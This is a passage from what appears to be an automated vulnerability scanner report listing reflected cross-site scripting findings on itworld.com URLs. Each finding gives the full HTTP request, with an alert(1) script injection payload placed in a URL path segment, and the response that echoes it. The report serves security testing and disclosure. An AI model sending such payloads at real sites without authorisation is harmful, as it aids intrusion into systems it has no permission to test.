Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/features/itw_answers/js/itw_answers.js548d2"><script>alert(1)</script>95a3014971e?h"/>
...[SNIP]...

1.369. http://www.itworld.com/sites/all/modules/itw/modules/friendconnect/friendconnect.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/friendconnect/friendconnect.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 17c7a"><script>alert(1)</script>0d0b32916f9 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites17c7a"><script>alert(1)</script>0d0b32916f9/all/modules/itw/modules/friendconnect/friendconnect.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:22:46 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460166"
Content-Type: text/html; charset=utf-8
Content-Length: 57790
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:22:53 GMT
X-Varnish: 252446562
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites17c7a"><script>alert(1)</script>0d0b32916f9/all/modules/itw/modules/friendconnect/friendconnect.js?h"/>
...[SNIP]...

1.370. http://www.itworld.com/sites/all/modules/itw/modules/friendconnect/friendconnect.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/friendconnect/friendconnect.js

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 7fda6"-alert(1)-"c329216db80 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites7fda6"-alert(1)-"c329216db80/all/modules/itw/modules/friendconnect/friendconnect.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:23:18 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460198"
Content-Type: text/html; charset=utf-8
Content-Length: 57576
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:23:22 GMT
X-Varnish: 252447184
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
s.prop13="CMS";
s.prop14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites7fda6"-alert(1)-"c329216db80/all/modules/itw/modules/friendconnect/friendconnect.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We c
...[SNIP]...

1.371. http://www.itworld.com/sites/all/modules/itw/modules/friendconnect/friendconnect.js [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/friendconnect/friendconnect.js

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 19ab4"-alert(1)-"6fbbd18a917 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/19ab4"-alert(1)-"6fbbd18a917/modules/friendconnect/friendconnect.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:25:03 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460303"
Content-Type: text/html; charset=utf-8
Content-Length: 57545
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:25:04 GMT
X-Varnish: 1038159646
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
";
s.prop14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/19ab4"-alert(1)-"6fbbd18a917/modules/friendconnect/friendconnect.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the
...[SNIP]...

1.372. http://www.itworld.com/sites/all/modules/itw/modules/friendconnect/friendconnect.js [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/friendconnect/friendconnect.js

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9aa70"-alert(1)-"c2ecea92132 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/itw/modules9aa70"-alert(1)-"c2ecea92132/friendconnect/friendconnect.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:25:53 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460353"
Content-Type: text/html; charset=utf-8
Content-Length: 57575
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:26:00 GMT
X-Varnish: 1038161303
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/itw/modules9aa70"-alert(1)-"c2ecea92132/friendconnect/friendconnect.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page yo
...[SNIP]...

1.373. http://www.itworld.com/sites/all/modules/itw/modules/friendconnect/friendconnect.js [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/friendconnect/friendconnect.js

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d1778"><script>alert(1)</script>4de542e5ba6 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/itw/modulesd1778"><script>alert(1)</script>4de542e5ba6/friendconnect/friendconnect.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:25:40 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460340"
Content-Type: text/html; charset=utf-8
Content-Length: 57796
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:25:43 GMT
X-Varnish: 1038160764
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/itw/modulesd1778"><script>alert(1)</script>4de542e5ba6/friendconnect/friendconnect.js?h"/>
...[SNIP]...

1.374. http://www.itworld.com/sites/all/modules/itw/modules/friendconnect/friendconnect.js [REST URL parameter 6] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/friendconnect/friendconnect.js

Issue detail

The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8166e"><script>alert(1)</script>b7fc3f35862 was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/itw/modules/friendconnect8166e"><script>alert(1)</script>b7fc3f35862/friendconnect.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:26:19 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460379"
Content-Type: text/html; charset=utf-8
Content-Length: 57795
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:26:20 GMT
X-Varnish: 1038161966
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/itw/modules/friendconnect8166e"><script>alert(1)</script>b7fc3f35862/friendconnect.js?h"/>
...[SNIP]...

1.375. http://www.itworld.com/sites/all/modules/itw/modules/friendconnect/friendconnect.js [REST URL parameter 6] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/friendconnect/friendconnect.js

Issue detail

The value of REST URL parameter 6 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c3a6e"-alert(1)-"78e9a8a458 was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/itw/modules/friendconnectc3a6e"-alert(1)-"78e9a8a458/friendconnect.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:26:25 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460385"
Content-Type: text/html; charset=utf-8
Content-Length: 57565
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:26:27 GMT
X-Varnish: 1038162169
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/itw/modules/friendconnectc3a6e"-alert(1)-"78e9a8a458/friendconnect.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requested.";
...[SNIP]...

1.376. http://www.itworld.com/sites/all/modules/itw/modules/friendconnect/friendconnect.js [REST URL parameter 7] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/friendconnect/friendconnect.js

Issue detail

The value of REST URL parameter 7 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 7d040"-alert(1)-"acbaaf94639 was submitted in the REST URL parameter 7. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/itw/modules/friendconnect/friendconnect.js7d040"-alert(1)-"acbaaf94639?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:26:49 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460409"
Content-Type: text/html; charset=utf-8
Content-Length: 57573
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:26:52 GMT
X-Varnish: 1038162968
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
0";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/itw/modules/friendconnect/friendconnect.js7d040"-alert(1)-"acbaaf94639";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requested.";
s.eVar13="CMS";

...[SNIP]...

1.377. http://www.itworld.com/sites/all/modules/itw/modules/friendconnect/friendconnect.js [REST URL parameter 7] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/friendconnect/friendconnect.js

Issue detail

The value of REST URL parameter 7 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5c5f9"><script>alert(1)</script>935788e306c was submitted in the REST URL parameter 7. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/itw/modules/friendconnect/friendconnect.js5c5f9"><script>alert(1)</script>935788e306c?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:26:42 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460402"
Content-Type: text/html; charset=utf-8
Content-Length: 57795
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:26:43 GMT
X-Varnish: 1038162538
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/itw/modules/friendconnect/friendconnect.js5c5f9"><script>alert(1)</script>935788e306c?h"/>
...[SNIP]...

1.378. http://www.itworld.com/sites/all/modules/itw/modules/idg_ads/demandbase/demandbase-multiver-1.3/demandbase.js [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/idg_ads/demandbase/demandbase-multiver-1.3/demandbase.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 499e8"><script>alert(1)</script>825b9c7ecfe was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all499e8"><script>alert(1)</script>825b9c7ecfe/modules/itw/modules/idg_ads/demandbase/demandbase-multiver-1.3/demandbase.js?132 HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:22:08 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460128"
Content-Type: text/html; charset=utf-8
Content-Length: 58070
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:22:16 GMT
X-Varnish: 56709759
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all499e8"><script>alert(1)</script>825b9c7ecfe/modules/itw/modules/idg_ads/demandbase/demandbase-multiver-1.3/demandbase.js?132"/>
...[SNIP]...

1.379. http://www.itworld.com/sites/all/modules/itw/modules/idg_ads/demandbase/demandbase-multiver-1.3/demandbase.js [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/idg_ads/demandbase/demandbase-multiver-1.3/demandbase.js

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ed048"-alert(1)-"5e1898819ac was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/alled048"-alert(1)-"5e1898819ac/modules/itw/modules/idg_ads/demandbase/demandbase-multiver-1.3/demandbase.js?132 HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:22:30 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460150"
Content-Type: text/html; charset=utf-8
Content-Length: 57852
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:22:45 GMT
X-Varnish: 252446336
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
op13="CMS";
s.prop14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/alled048"-alert(1)-"5e1898819ac/modules/itw/modules/idg_ads/demandbase/demandbase-multiver-1.3/demandbase.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238"
...[SNIP]...

1.380. http://www.itworld.com/sites/all/modules/itw/modules/idg_ads/demandbase/demandbase-multiver-1.3/demandbase.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/idg_ads/demandbase/demandbase-multiver-1.3/demandbase.js

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 6fb61"-alert(1)-"a5baf738f11 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules6fb61"-alert(1)-"a5baf738f11/itw/modules/idg_ads/demandbase/demandbase-multiver-1.3/demandbase.js?132 HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:23:34 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460214"
Content-Type: text/html; charset=utf-8
Content-Length: 57858
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:23:35 GMT
X-Varnish: 252447462
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
S";
s.prop14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
